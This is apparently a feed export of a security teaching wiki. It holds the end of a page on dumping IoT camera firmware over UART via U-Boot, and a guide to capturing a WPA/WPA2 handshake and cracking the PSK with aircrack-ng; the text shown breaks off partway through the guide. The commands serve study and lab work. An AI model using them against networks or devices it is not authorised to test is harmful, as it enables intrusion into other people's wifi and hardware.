&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Not all of these methods may be applicable depending on the present U-Boot version.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Memory Dump&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;md&amp;lt;/code&amp;gt; command can be used to display memory contents both as hexadecimal and ASCII data. ([http://www.denx.de/wiki/view/DULG/UBootCmdGroupMemory#Section_UBootCmdMd UBootCmdMd]) The &amp;lt;code&amp;gt;md&amp;lt;/code&amp;gt; method can be used to extract the firmware via UART, by dumping the complete or a distinct memory space. In the following the [[ISmartAlarm® ISC5 SPOT IP-Camera]] will be used as example using &amp;lt;code&amp;gt;screen&amp;lt;/code&amp;gt; to save the memory dump to a log file. In this example, &amp;lt;code&amp;gt;screen /dev/tty.usbserial-1410 115200&amp;lt;/code&amp;gt; was used to access the TTY and the &amp;lt;code&amp;gt;CTRL-a H&amp;lt;/code&amp;gt; (log) key binding has been used to start logging of the current window to the file &amp;quot;screenlog.n&amp;quot;. (See: &amp;lt;code&amp;gt;man screen&amp;lt;/code&amp;gt;). So, after the serial line and logging is ready, the memory layout must be identified. This is possible using the &amp;lt;code&amp;gt;mtdparts&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;devinfo&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;printenv&amp;lt;/code&amp;gt; command (and more) if available or through identification of the chip and calculating the memory space based on the chip&#039;s capacity. Alternaively the mtdparts may be printed in the bootlogs or can be accessed if access to a Linux shell has already been acquired via &amp;lt;code&amp;gt;/proc/mtdparts&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;=&amp;gt; help md&lt;br /&gt;
md - memory display&lt;br /&gt;
&lt;br /&gt;
Usage:&lt;br /&gt;
md [.b, .w, .l] address [# of objects]&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example: ISmartAlarm® ISC5 SPOT IP-Camera - U-Boot commands&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;sonix # version&lt;br /&gt;
U-Boot 2011.09 (May 22 2015 - 16:07:40)&lt;br /&gt;
arm-linux-gcc (SONiX GCC-4.5.2 Release 2011-12-06) 4.5.2&lt;br /&gt;
GNU ld (GNU Binutils) 2.22&lt;br /&gt;
&lt;br /&gt;
sonix # ?&lt;br /&gt;
?       - alias for &#039;help&#039;&lt;br /&gt;
bdinfo  - print Board Info structure&lt;br /&gt;
boot    - boot default, i.e., run &#039;bootcmd&#039;&lt;br /&gt;
bootm   - boot application image from memory&lt;br /&gt;
cmp     - memory compare&lt;br /&gt;
cp      - memory copy&lt;br /&gt;
crc32   - checksum calculation&lt;br /&gt;
devinfo - devinfo&lt;br /&gt;
dump    - dump image&lt;br /&gt;
erase   - erase FLASH memory&lt;br /&gt;
eraseetc- eraseetc&lt;br /&gt;
fatinfo - print information about filesystem&lt;br /&gt;
fatload - load binary file from a dos filesystem&lt;br /&gt;
fatls   - list files in a directory (default /)&lt;br /&gt;
fatupdate- update firmware from fat32 filesystem&lt;br /&gt;
flinfo  - print FLASH memory information&lt;br /&gt;
go      - start application at address &#039;addr&#039;&lt;br /&gt;
help    - print command description/usage&lt;br /&gt;
hwcrc16 - hwcrc16 - hardware crc16 calculate&lt;br /&gt;
loadb   - load binary file over serial line (kermit mode) and update to flash&lt;br /&gt;
loadkernel- loadkernel&lt;br /&gt;
loady   - load binary file over serial line (ymodem mode) and update to flash&lt;br /&gt;
md      - memory display&lt;br /&gt;
mm      - memory modify (auto-incrementing address)&lt;br /&gt;
mmc     - MMC sub system&lt;br /&gt;
mmcinfo - display MMC info&lt;br /&gt;
mtest   - simple RAM read/write test&lt;br /&gt;
mw      - memory write (fill)&lt;br /&gt;
nand    - NAND sub-system&lt;br /&gt;
nm      - memory modify (constant address)&lt;br /&gt;
printenv- print environment variables&lt;br /&gt;
protect - enable or disable FLASH write protection&lt;br /&gt;
reset   - Perform RESET of the CPU&lt;br /&gt;
saveenv - save environment variables to persistent storage&lt;br /&gt;
setenv  - set environment variables&lt;br /&gt;
spi     - spi - Serial Flash sub-system&lt;br /&gt;
tftpboot- boot image via network using TFTP protocol&lt;br /&gt;
update  - update image, u-env, factory, u-logo, user, kernel, rootfs-r, rootfs-rw&lt;br /&gt;
usb     - USB sub-system&lt;br /&gt;
usbboot - boot from USB device&lt;br /&gt;
verify  - verify image, flash-info, hw-setting, flash-layout, u-boot, rescue, user, factory, kernel, rootfs-r, u-env&lt;br /&gt;
version - print monitor, compiler and linker version&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example: ISmartAlarm® ISC5 SPOT IP-Camera - Memory Layout&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;mem=64M&lt;br /&gt;
mtdparts=snx-spi:&lt;br /&gt;
768k(uboot)&lt;br /&gt;
3M(kernel)&lt;br /&gt;
7M(rootfs)&lt;br /&gt;
4M(rescue)&lt;br /&gt;
1M(etc)&lt;br /&gt;
256K(userconfig)&lt;br /&gt;
&lt;br /&gt;
loadkernel 0x00007FFC 0x0;&lt;br /&gt;
bootm 0x00008000&lt;br /&gt;
&lt;br /&gt;
0x00000000,0x00000000 (u-logo)&lt;br /&gt;
0x00000000,0x00000FFF (hw-setting)&lt;br /&gt;
0x00001000,0x0005FFFF (u-boot)&lt;br /&gt;
0x00060000,0x0007EFFF (u-env)&lt;br /&gt;
0x0007F000,0x0007FFFF (flash-layout)&lt;br /&gt;
0x00080000,0x000BFFFF (factory)&lt;br /&gt;
0x000C0000,0x003BFFFF (kernel)&lt;br /&gt;
0x003C0000,0x00ABFFFF (rootfs-r)&lt;br /&gt;
0x00AC0000,0x00EBFFFF (rescue)&lt;br /&gt;
0x00EC0000,0x00FBFFFF (rootfs-rw)&lt;br /&gt;
0x00FC0000,0x00FFFFFF (user)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The example device uses an 64MB SOP8 SPI chip to store the firmware. Based on the &amp;lt;code&amp;gt;mtdparts&amp;lt;/code&amp;gt;, the memory space is &amp;lt;code&amp;gt;0x00000000-0x00FFFFFF&amp;lt;/code&amp;gt;. this may be adapted to extract only a specific MTD partition. It is even possible to extract single files, like the shadow file, if the right memory address can be identified. It took 2 hours for extracting 64MB via UART. Additionnally, the device restarted automatically after 5min. This could be solved by monitoring the status and relaunching the memory dump from the last successfully received Byte. In any case, screenlog must be santized before continuing, by removing any additional text, which is not related to the actual memory dump. The actual command for extracting the whole memory is listed below. The &amp;lt;code&amp;gt;.b&amp;lt;/code&amp;gt; output format is required for the next step.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;=&amp;gt; md.b 0x0 0xFFFFFF&lt;br /&gt;
00000000: 0e 00 00 ea 80 6b d9 03 c4 6b d9 03 94 6b d9 03    .....k...k...k..&lt;br /&gt;
00000010: c8 6b d9 03 fc 5b d8 03 14 f0 9f e5 14 f0 9f e5    .k...[..........&lt;br /&gt;
00000020: 04 04 00 00 00 00 00 00 14 04 00 00 24 04 00 00    ............$...&lt;br /&gt;
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
00000040: 00 00 0f e1 1f 00 c0 e3 d3 00 80 e3 00 f0 2f e1    ............../.&lt;br /&gt;
&lt;br /&gt;
[...]&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;!--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example: ISmartAlarm® ISC5 SPOT IP-Camera - Memory Dump Extract&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;sonix # md.b 0x0 0xFFFFFF&lt;br /&gt;
00000000: 0e 00 00 ea 80 6b d9 03 c4 6b d9 03 94 6b d9 03    .....k...k...k..&lt;br /&gt;
00000010: c8 6b d9 03 fc 5b d8 03 14 f0 9f e5 14 f0 9f e5    .k...[..........&lt;br /&gt;
00000020: 04 04 00 00 00 00 00 00 14 04 00 00 24 04 00 00    ............$...&lt;br /&gt;
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
00000040: 00 00 0f e1 1f 00 c0 e3 d3 00 80 e3 00 f0 2f e1    ............../.&lt;br /&gt;
&lt;br /&gt;
[...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Check that the log does not any additional non-printable characters&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
With this format, each line consits of 78 characters including the newline. This results in 78 Bytes transmitted, which effectivly represent only 16 Byte of Data, leading to an 80% overhead. It is obvious, that the the memory dump format is not usuable as is. The dump must be parse to get the original binary dump. For this [&lt;br /&gt;
https://github.com/gmbnomis/uboot-mdb-dump uboot-mdb-dump] script can be used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;python3 uboot_mdb_to_image.py &amp;lt; memory_dump.txt &amp;gt; memory_dump.bin&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Related&amp;lt;/h2&amp;gt;&lt;br /&gt;
* [[Firmware Acquisition Techniques]]&lt;br /&gt;
* [[JTAGulator: Find IoT-Device&#039;s UART interface]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Tested Devices&amp;lt;/h2&amp;gt;&lt;br /&gt;
* [[ISmartAlarm® ISC5 SPOT IP-Camera]]&lt;br /&gt;
* ... more ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;References&amp;lt;/h2&amp;gt;&lt;br /&gt;
* http://www.denx.de/wiki/DULG/Manual (Accessed: 20. October 2020)&lt;br /&gt;
* http://www.denx.de/wiki/view/DULG/UBootCmdGroupMemory#Section_UBootCmdMd (Accessed: 20. October 2020)&lt;br /&gt;
* https://www.digi.com/resources/documentation/digidocs/PDFs/90000852.pdf (Accessed: 20. October 2020)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=4731</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=4731"/>
		<updated>2020-11-08T15:46:20Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Minor edit&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
* Install aircrack-ng suite: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Install Homebrew, the Missing Package Manager for macOS (or Linux): &amp;lt;code&amp;gt;/usr/bin/ruby -e &amp;quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode&lt;br /&gt;
 &lt;br /&gt;
   airmon-ng&lt;br /&gt;
      PHY	Interface	Driver		Chipset&lt;br /&gt;
      phy0	wlan0		iwlwifi		Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY	Interface	Driver		Chipset&lt;br /&gt;
      phy0	wlan0mon	iwlwifi		Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device&lt;br /&gt;
&lt;br /&gt;
   airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplican&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   service network-manager restart&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
 airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
